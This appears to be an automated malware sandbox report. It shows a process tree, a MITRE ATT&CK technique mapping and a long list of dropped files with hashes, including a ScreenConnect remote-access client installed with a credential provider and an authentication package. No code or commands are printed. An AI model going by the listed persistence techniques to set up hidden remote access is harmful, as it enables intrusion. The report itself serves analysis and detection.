                                                                                                                          PID:7036
                                                                                                                        • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
                                                                                                                          "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\Desktop\OutJoin.xlsx"
                                                                                                                          1⤵
                                                                                                                          • Checks processor information in registry
                                                                                                                          • Enumerates system info in registry
                                                                                                                          • Suspicious behavior: AddClipboardFormatListener
                                                                                                                          • Suspicious use of SetWindowsHookEx
                                                                                                                          PID:6484
                                                                                                                        • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                          "C:\Program Files\Mozilla Firefox\firefox.exe"
                                                                                                                          1⤵
                                                                                                                            PID:5696
                                                                                                                            • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                              "C:\Program Files\Mozilla Firefox\firefox.exe"
                                                                                                                              2⤵
                                                                                                                              • Checks processor information in registry
                                                                                                                              • Suspicious use of SetWindowsHookEx
                                                                                                                              PID:6028
                                                                                                                              • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                                "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2080 -prefsLen 27212 -prefMapHandle 2084 -prefMapSize 270279 -ipcHandle 2156 -initialChannelId {7c8cab92-ba49-4567-a7f9-1c36c39e72d1} -parentPid 6028 -crashReporter "\\.\pipe\gecko-crash-server-pipe.6028" -appDir "C:\Program Files\Mozilla Firefox\browser" - 1 gpu
                                                                                                                                3⤵
                                                                                                                                  PID:4016
                                                                                                                                • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                                  "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2524 -prefsLen 27248 -prefMapHandle 2528 -prefMapSize 270279 -ipcHandle 2536 -initialChannelId {fbc810dd-fdfd-4a34-921d-ca28f4d4ab1b} -parentPid 6028 -crashReporter "\\.\pipe\gecko-crash-server-pipe.6028" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 2 socket
                                                                                                                                  3⤵
                                                                                                                                  • Checks processor information in registry
                                                                                                                                  PID:3832
                                                                                                                                • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                                  "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 3724 -prefsLen 27389 -prefMapHandle 3728 -prefMapSize 270279 -jsInitHandle 3732 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 3740 -initialChannelId {f3775c4b-2218-40e6-972c-e26f328c0b68} -parentPid 6028 -crashReporter "\\.\pipe\gecko-crash-server-pipe.6028" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 3 tab
                                                                                                                                  3⤵
                                                                                                                                  • Checks processor information in registry
                                                                                                                                  PID:6288
                                                                                                                                • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                                  "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 3892 -prefsLen 27389 -prefMapHandle 3896 -prefMapSize 270279 -ipcHandle 3996 -initialChannelId {4f1b715d-7d7e-4923-861f-3b9e42b29053} -parentPid 6028 -crashReporter "\\.\pipe\gecko-crash-server-pipe.6028" -appDir "C:\Program Files\Mozilla Firefox\browser" - 4 rdd
                                                                                                                                  3⤵
                                                                                                                                    PID:6328
                                                                                                                                  • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                                    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 4676 -prefsLen 34999 -prefMapHandle 4680 -prefMapSize 270279 -jsInitHandle 4684 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 4692 -initialChannelId {ded05903-5d0d-4483-ba7e-cefd89031484} -parentPid 6028 -crashReporter "\\.\pipe\gecko-crash-server-pipe.6028" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 5 tab
                                                                                                                                    3⤵
                                                                                                                                    • Checks processor information in registry
                                                                                                                                    PID:6248
                                                                                                                                  • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                                    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -sandboxingKind 0 -prefsHandle 1584 -prefsLen 35048 -prefMapHandle 1872 -prefMapSize 270279 -ipcHandle 3004 -initialChannelId {1932ca76-948a-45f0-80cd-5a694c18eb4f} -parentPid 6028 -crashReporter "\\.\pipe\gecko-crash-server-pipe.6028" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 6 utility
                                                                                                                                    3⤵
                                                                                                                                    • Checks processor information in registry
                                                                                                                                    PID:3772
                                                                                                                                  • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                                    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5324 -prefsLen 32964 -prefMapHandle 5328 -prefMapSize 270279 -jsInitHandle 5332 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5340 -initialChannelId {880aa974-a45a-4ac5-af7f-b15534730d1d} -parentPid 6028 -crashReporter "\\.\pipe\gecko-crash-server-pipe.6028" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 7 tab
                                                                                                                                    3⤵
                                                                                                                                    • Checks processor information in registry
                                                                                                                                    PID:6900
                                                                                                                                  • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                                    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5372 -prefsLen 32964 -prefMapHandle 3916 -prefMapSize 270279 -jsInitHandle 5456 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5540 -initialChannelId {90ef1c48-a191-4909-b5a4-26c45059cec5} -parentPid 6028 -crashReporter "\\.\pipe\gecko-crash-server-pipe.6028" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 8 tab
                                                                                                                                    3⤵
                                                                                                                                    • Checks processor information in registry
                                                                                                                                    PID:6788
                                                                                                                                  • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                                    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5712 -prefsLen 32964 -prefMapHandle 5716 -prefMapSize 270279 -jsInitHandle 5720 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5728 -initialChannelId {bc03ebe8-b2b1-4461-9014-756e2a682d56} -parentPid 6028 -crashReporter "\\.\pipe\gecko-crash-server-pipe.6028" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 9 tab
                                                                                                                                    3⤵
                                                                                                                                    • Checks processor information in registry
                                                                                                                                    PID:6632
                                                                                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
                                                                                                                                1⤵
                                                                                                                                  PID:5388
                                                                                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --edge-skip-compat-layer-relaunch
                                                                                                                                    2⤵
                                                                                                                                      PID:5660

                                                                                                                                  Network

                                                                                                                                        MITRE ATT&CK Enterprise v16

                                                                                                                                        Reconnaissance

                                                                                                                                        Resource Development

                                                                                                                                        Initial Access

                                                                                                                                        Execution

                                                                                                                                        Persistence

                                                                                                                                        Boot or Logon Autostart Execution

                                                                                                                                        2
                                                                                                                                        T1547

                                                                                                                                        Authentication Package

                                                                                                                                        1
                                                                                                                                        T1547.002

                                                                                                                                        Registry Run Keys / Startup Folder

                                                                                                                                        1
                                                                                                                                        T1547.001

                                                                                                                                        Create or Modify System Process

                                                                                                                                        1
                                                                                                                                        T1543

                                                                                                                                        Windows Service

                                                                                                                                        1
                                                                                                                                        T1543.003

                                                                                                                                        Event Triggered Execution

                                                                                                                                        1
                                                                                                                                        T1546

                                                                                                                                        Component Object Model Hijacking

                                                                                                                                        1
                                                                                                                                        T1546.015

                                                                                                                                        Privilege Escalation

                                                                                                                                        Boot or Logon Autostart Execution

                                                                                                                                        2
                                                                                                                                        T1547

                                                                                                                                        Authentication Package

                                                                                                                                        1
                                                                                                                                        T1547.002

                                                                                                                                        Registry Run Keys / Startup Folder

                                                                                                                                        1
                                                                                                                                        T1547.001

                                                                                                                                        Create or Modify System Process

                                                                                                                                        1
                                                                                                                                        T1543

                                                                                                                                        Windows Service

                                                                                                                                        1
                                                                                                                                        T1543.003

                                                                                                                                        Event Triggered Execution

                                                                                                                                        1
                                                                                                                                        T1546

                                                                                                                                        Component Object Model Hijacking

                                                                                                                                        1
                                                                                                                                        T1546.015

                                                                                                                                        Defense Evasion

                                                                                                                                        Modify Registry

                                                                                                                                        2
                                                                                                                                        T1112

                                                                                                                                        Credential Access

                                                                                                                                        Discovery

                                                                                                                                        Browser Information Discovery

                                                                                                                                        1
                                                                                                                                        T1217

                                                                                                                                        Peripheral Device Discovery

                                                                                                                                        2
                                                                                                                                        T1120

                                                                                                                                        Query Registry

                                                                                                                                        7
                                                                                                                                        T1012

                                                                                                                                        System Information Discovery

                                                                                                                                        6
                                                                                                                                        T1082

                                                                                                                                        System Location Discovery

                                                                                                                                        1
                                                                                                                                        T1614

                                                                                                                                        System Language Discovery

                                                                                                                                        1
                                                                                                                                        T1614.001

                                                                                                                                        System Time Discovery

                                                                                                                                        1
                                                                                                                                        T1124

                                                                                                                                        Lateral Movement

                                                                                                                                        Collection

                                                                                                                                        Command and Control

                                                                                                                                        Exfiltration

                                                                                                                                        Impact

                                                                                                                                        Replay Monitor

                                                                                                                                        Loading Replay Monitor...

                                                                                                                                        Downloads

                                                                                                                                        e591b60.rbs
                                                                                                                                        • Path C:\Config.Msi\e591b60.rbs
                                                                                                                                        • Size 214KB
                                                                                                                                        • SHA256 0eb68ba27973c019c19cfab47b1a5d5db913e0b325e139d349bb91582344f7f6
                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                        Submit Download

                                                                                                                                        e591b63.rbs
                                                                                                                                        • Path C:\Config.Msi\e591b63.rbs
                                                                                                                                        • Size 214KB
                                                                                                                                        • SHA256 209640a81c89cd9fb2e883b668cb8b49e91d408132de34a671304adb426712b3
                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                        Submit Download

                                                                                                                                        Client.en-US.resources
                                                                                                                                        • Path C:\Program Files (x86)\ScreenConnect Client (df1f7eee088402cc)\Client.en-US.resources
                                                                                                                                        • Size 64KB
                                                                                                                                        • SHA256 a90983b3d26f9e6bb472663b84d13254349f62b0ad4c667fd76b3edd270240b2
                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                        Submit Download

                                                                                                                                        Client.resources
                                                                                                                                        • Path C:\Program Files (x86)\ScreenConnect Client (df1f7eee088402cc)\Client.resources
                                                                                                                                        • Size 6KB
                                                                                                                                        • SHA256 bd34378ad99f7609fa0c7c8edde6337c738a61d288863015629329806a1cc728
                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                        Submit Download

                                                                                                                                        ScreenConnect.Client.dll
                                                                                                                                        • Path C:\Program Files (x86)\ScreenConnect Client (df1f7eee088402cc)\ScreenConnect.Client.dll
                                                                                                                                        • Size 412KB
                                                                                                                                        • SHA256 44d7c87abe55a23318a1627a845a999acc268cc4ece97e2e80849ad869809ee1
                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                        Submit Download

                                                                                                                                        ScreenConnect.ClientService.dll
                                                                                                                                        • Path C:\Program Files (x86)\ScreenConnect Client (df1f7eee088402cc)\ScreenConnect.ClientService.dll
                                                                                                                                        • Size 91KB
                                                                                                                                        • SHA256 b607976c1aa7e804d8d53993ddf81ebf4b85117a12d7b4e9ee228e907e1f4025
                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                        Submit Download

                                                                                                                                        ScreenConnect.ClientService.exe
                                                                                                                                        • Path C:\Program Files (x86)\ScreenConnect Client (df1f7eee088402cc)\ScreenConnect.ClientService.exe
                                                                                                                                        • Size 93KB
                                                                                                                                        • SHA256 4cfe96e8e6d4cc96bc0f9c7935ab32531deeb0f52a8c39f739da928d6f5d344b
                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                        Submit Download

                                                                                                                                        ScreenConnect.Core.dll
                                                                                                                                        • Path C:\Program Files (x86)\ScreenConnect Client (df1f7eee088402cc)\ScreenConnect.Core.dll
                                                                                                                                        • Size 577KB
                                                                                                                                        • SHA256 5c98fa479fd677e900bd53f15c3969deeb99c109e026f169862a6458a55bddcb
                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                        Submit Download

                                                                                                                                        ScreenConnect.Windows.dll
                                                                                                                                        • Path C:\Program Files (x86)\ScreenConnect Client (df1f7eee088402cc)\ScreenConnect.Windows.dll
                                                                                                                                        • Size 1.7MB
                                                                                                                                        • SHA256 c1a6e533825b7adb9c2312c1674a5506fd3db460a15443d82c58b5037c68a9f0
                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                        Submit Download

                                                                                                                                        ScreenConnect.WindowsAuthenticationPackage.dll
                                                                                                                                        • Path C:\Program Files (x86)\ScreenConnect Client (df1f7eee088402cc)\ScreenConnect.WindowsAuthenticationPackage.dll
                                                                                                                                        • Size 254KB
                                                                                                                                        • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                        Submit Download

                                                                                                                                        ScreenConnect.WindowsClient.exe
                                                                                                                                        • Path C:\Program Files (x86)\ScreenConnect Client (df1f7eee088402cc)\ScreenConnect.WindowsClient.exe
                                                                                                                                        • Size 675KB
                                                                                                                                        • SHA256 6d1660e7e219fd873124c6e491ed41793a9b43b29e90ca494893a07a70abe172
                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                        Submit Download

                                                                                                                                        ScreenConnect.WindowsClient.exe.config
                                                                                                                                        • Path C:\Program Files (x86)\ScreenConnect Client (df1f7eee088402cc)\ScreenConnect.WindowsClient.exe.config
                                                                                                                                        • Size 266B
                                                                                                                                        • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
                                                                                                                                        • MD5 SHA1 SHA512 TLSH
                                                                                                                                        Submit Download

                                                                                                                                        ScreenConnect.WindowsCredentialProvider.dll
                                                                                                                                        • Path C:\Program Files (x86)\ScreenConnect Client (df1f7eee088402cc)\ScreenConnect.WindowsCredentialProvider.dll
                                                                                                                                        • Size 837KB
                                                                                                                                        • SHA256 f340a7376628a7a27ff45dd479cb5c09e072e79bbd318deef39325c29541dbdd
                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                        Submit Download

                                                                                                                                        system.config
                                                                                                                                        • Path C:\Program Files (x86)\ScreenConnect Client (df1f7eee088402cc)\system.config
                                                                                                                                        • Size 974B
                                                                                                                                        • SHA256 f2154edcdd873b376167102569ac7f05e3f8306e74a4cdc274a4885b717542c3
                                                                                                                                        • MD5 SHA1 SHA512 TLSH
                                                                                                                                        Submit Download

                                                                                                                                        BrowsingTopicsState
                                                                                                                                        • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState
                                                                                                                                        • Size 414B
                                                                                                                                        • SHA256 ccc882f8e57672db8699dc27530fc5444645ddf0fd04ec73d00514754de5948c
                                                                                                                                        • MD5 SHA1 SHA512 TLSH
                                                                                                                                        Submit Download

                                                                                                                                        data_1
                                                                                                                                        • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\DawnWebGPUCache\data_1
                                                                                                                                        • Size 264KB
                                                                                                                                        • SHA256 b1e963d702392fb7224786e7d56d43973e9b9efd1b89c17814d7c558ffc0cdec
                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                        Submit Download

                                                                                                                                        Network Persistent State
                                                                                                                                        • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
                                                                                                                                        • Size 2KB
                                                                                                                                        • SHA256 41cd781178b803626bb8f4188e2c75d80791eae5f307c0fa36bb819285e6e738
                                                                                                                                        • MD5 SHA1 SHA512 TLSH
                                                                                                                                        Submit Download

                                                                                                                                        TransportSecurity
                                                                                                                                        • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity
                                                                                                                                        • Size 523B
                                                                                                                                        • SHA256 069ee6965d4c6e533fd9912531d811ef14e96d7b0259b22907a0f0a4eec99670
                                                                                                                                        • MD5 SHA1 SHA512 TLSH
                                                                                                                                        Submit Download

                                                                                                                                        Preferences
                                                                                                                                        • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
                                                                                                                                        • Size 13KB
                                                                                                                                        • SHA256 43f87717b42fe36e9d507a3517a30cc7e261da3a20335bc9d593350dd523e8c3
                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                        Submit Download

                                                                                                                                        Preferences
                                                                                                                                        • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
                                                                                                                                        • Size 14KB
                                                                                                                                        • SHA256 c58792d9048d11138af1c964bfa1fcdb9b0e11e3838375a9184eda6bb7ba7855
                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                        Submit Download

                                                                                                                                        Secure Preferences
                                                                                                                                        • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
                                                                                                                                        • Size 17KB
                                                                                                                                        • SHA256 13805701603dbbca9403b94e006c712edafb4f98a8e0ae4ce0ad1b025b835f93
                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                        Submit Download

                                                                                                                                        the-real-index
                                                                                                                                        • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index
                                                                                                                                        • Size 120B
                                                                                                                                        • SHA256 cb8a564b20e000cda9f6764ac11b44dcbd31ad38979e892044fc1d0aab071809
                                                                                                                                        • MD5 SHA1 SHA512 TLSH
                                                                                                                                        Submit Download

                                                                                                                                        the-real-index~RFe6081c7.TMP
                                                                                                                                        • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RFe6081c7.TMP
                                                                                                                                        • Size 96B
                                                                                                                                        • SHA256 5d6025fd0c7e57afa6eff7e64d4067fa85faf2a0d79e4d11b1a2d9437d7264bc
                                                                                                                                        • MD5 SHA1 SHA512 TLSH
                                                                                                                                        Submit Download

                                                                                                                                        Local State
                                                                                                                                        • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
                                                                                                                                        • Size 235KB
                                                                                                                                        • SHA256 01536aebf505d8ec972c56ac59a29c8e272208a8503a10dbe1dc778e59377fdd
                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                        Submit Download

                                                                                                                                        Local State
                                                                                                                                        • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
                                                                                                                                        • Size 115KB
                                                                                                                                        • SHA256 0b1f9179c8bfd9d511999ce0ce75805dbdaa5306c8fe3eb1d27506da4e917506
                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                        Submit Download

                                                                                                                                        Local State
                                                                                                                                        • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
                                                                                                                                        • Size 235KB
                                                                                                                                        • SHA256 7e3758a8fa5b992267792d30ebf6699745eecc7970ba25693cf4df3e654fa9bf
                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                        Submit Download

                                                                                                                                        blocklist
                                                                                                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist
                                                                                                                                        • Size 105KB
                                                                                                                                        • SHA256 994380ffd288a5f1a9acc9eb76a487a55b12cc1daec839d811240f6cbdc4da3a
                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                        Submit Download

                                                                                                                                        settings.dat
                                                                                                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
                                                                                                                                        • Size 280B
                                                                                                                                        • SHA256 8c7b9867b14ca93eaf3a038509f5cc3de8a4ae01aa5778bec7c49fec49e10456
                                                                                                                                        • MD5 SHA1 SHA512 TLSH
                                                                                                                                        Submit Download

                                                                                                                                        settings.dat
                                                                                                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
                                                                                                                                        • Size 280B
                                                                                                                                        • SHA256 cd640af4b18734f838b65cd3f2b65e25dc669e7cc487a16f826240b353446af4
                                                                                                                                        • MD5 SHA1 SHA512 TLSH
                                                                                                                                        Submit Download

                                                                                                                                        settings.dat
                                                                                                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
                                                                                                                                        • Size 280B
                                                                                                                                        • SHA256 85f865adbe5e58c0596a4db9b9daa509b8e2bd087dbcc9a01a5a095a266757bc
                                                                                                                                        • MD5 SHA1 SHA512 TLSH
                                                                                                                                        Submit Download

                                                                                                                                        LOG.old
                                                                                                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old
                                                                                                                                        • Size 331B
                                                                                                                                        • SHA256 6f691ab626833631d19401c0874d3822660411e006e3801bb634c29f6f366b5a
                                                                                                                                        • MD5 SHA1 SHA512 TLSH
                                                                                                                                        Submit Download

                                                                                                                                        LOG.old
                                                                                                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old
                                                                                                                                        • Size 6KB
                                                                                                                                        • SHA256 8c402dade68f6d5365956311227f180492cec01e9723db9f18813e7733163fe8
                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                        Submit Download

                                                                                                                                        BookmarkMergedSurfaceOrdering
                                                                                                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BookmarkMergedSurfaceOrdering
                                                                                                                                        • Size 6B
                                                                                                                                        • SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
                                                                                                                                        • MD5 SHA1 SHA512
                                                                                                                                        Submit Download

                                                                                                                                        f_000095
                                                                                                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\f_000095
                                                                                                                                        • Size 27KB
                                                                                                                                        • SHA256 4055c08923c81d63735c1691baa778c332bf680b8c4eb057d7b87e2c00c5578d
                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                        Submit Download

                                                                                                                                        f_000096
                                                                                                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\f_000096
                                                                                                                                        • Size 77KB
                                                                                                                                        • SHA256 5c40e5eacc61aa7406a36baec4a744ce29dee2ed458a0d9359c56b3e66f4fe47
                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                        Submit Download

                                                                                                                                        the-real-index
                                                                                                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
                                                                                                                                        • Size 3KB
                                                                                                                                        • SHA256 160fd5742f79f4731ad0852ec00d8591cfa9b74436188a0c487135b24f6c802f
                                                                                                                                        • MD5 SHA1 SHA512 TLSH
                                                                                                                                        Submit Download

                                                                                                                                        the-real-index
                                                                                                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
                                                                                                                                        • Size 6KB
                                                                                                                                        • SHA256 9f531e45f1e4111a7e3bad57c63ad377996f09f7c4b8f9def5582dc5dd773739
                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                        Submit Download

                                                                                                                                        the-real-index~RFe58bb3d.TMP
                                                                                                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index~RFe58bb3d.TMP
                                                                                                                                        • Size 3KB
                                                                                                                                        • SHA256 cda1f2e7072f55c04d1432fa8656ddb4df343b42356e8bf2e3d422311c6dc1e5
                                                                                                                                        • MD5 SHA1 SHA512 TLSH
                                                                                                                                        Submit Download

                                                                                                                                        SiteList-Enterprise.json
                                                                                                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
                                                                                                                                        • Size 2B
                                                                                                                                        • SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
                                                                                                                                        • MD5 SHA1 SHA512
                                                                                                                                        Submit Download

                                                                                                                                        Edge Profile.ico
                                                                                                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
                                                                                                                                        • Size 70KB
                                                                                                                                        • SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                        Submit Download

                                                                                                                                        HubApps
                                                                                                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\HubApps
                                                                                                                                        • Size 106KB
                                                                                                                                        • SHA256 eb2fd7422436fff93f6be09df3294b26cdb7afd18e6aa94dcdc0f208db78b2ed
                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                        Submit Download

                                                                                                                                        Network Persistent State
                                                                                                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
                                                                                                                                        • Size 2KB
                                                                                                                                        • SHA256 ea4e50b24649da42818836bd4a8bac47398967671fc16e23d68e45d69447ef89
                                                                                                                                        • MD5 SHA1 SHA512 TLSH
                                                                                                                                        Submit Download

                                                                                                                                        Network Persistent State
                                                                                                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
                                                                                                                                        • Size 2KB
                                                                                                                                        • SHA256 2cf1c1e39157a5f9fe60e410470b28c00f19110dcbfa0ff8bd9e73789689ad5e
                                                                                                                                        • MD5 SHA1 SHA512 TLSH
                                                                                                                                        Submit Download

                                                                                                                                        Network Persistent State
                                                                                                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
                                                                                                                                        • Size 2KB
                                                                                                                                        • SHA256 22a8712c8572e576efd91e055b2c0cbb1d61b689eb54b909ed5a59e7f223119a
                                                                                                                                        • MD5 SHA1 SHA512 TLSH
                                                                                                                                        Submit Download

                                                                                                                                        Network Persistent State
                                                                                                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
                                                                                                                                        • Size 111B
                                                                                                                                        • SHA256 5dfc321417fc31359f23320ea68014ebfd793c5bbed55f77dab4180bbd4a2026
                                                                                                                                        • MD5 SHA1 SHA512 TLSH
                                                                                                                                        Submit Download

                                                                                                                                        Network Persistent State
                                                                                                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
                                                                                                                                        • Size 4KB
                                                                                                                                        • SHA256 e7bb9c28dc92bf582496ec1b98ac364c4dd9a241da59b5ab357f87a5d8404e15
                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                        Submit Download

                                                                                                                                        SCT Auditing Pending Reports
                                                                                                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports
                                                                                                                                        • Size 2B
                                                                                                                                        • SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
                                                                                                                                        • MD5 SHA1 SHA512
                                                                                                                                        Submit Download

                                                                                                                                        Preferences
                                                                                                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
                                                                                                                                        • Size 12KB
                                                                                                                                        • SHA256 d12faa59ce895cbb378fe3da51169483ab12738d531b8693cba48a00780b8a51
                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                        Submit Download

                                                                                                                                        Preferences
                                                                                                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
                                                                                                                                        • Size 13KB
                                                                                                                                        • SHA256 317c9d253c98c4c7d22fae089a12a3675ea256064576e59357fcac4a5413e472
                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                        Submit Download

                                                                                                                                        Preferences
                                                                                                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
                                                                                                                                        • Size 30KB
                                                                                                                                        • SHA256 6b18cd5e61cf7afb1bf716c529c556e8c91d7353edfa184bff83fcedde144ab2
                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                        Submit Download

                                                                                                                                        Preferences
                                                                                                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
                                                                                                                                        • Size 13KB
                                                                                                                                        • SHA256 83268be06ffadcd5603721b6e2bc0d15f7184eb6477b990d4b082306cc8e2b14
                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                        Submit Download

                                                                                                                                        Preferences
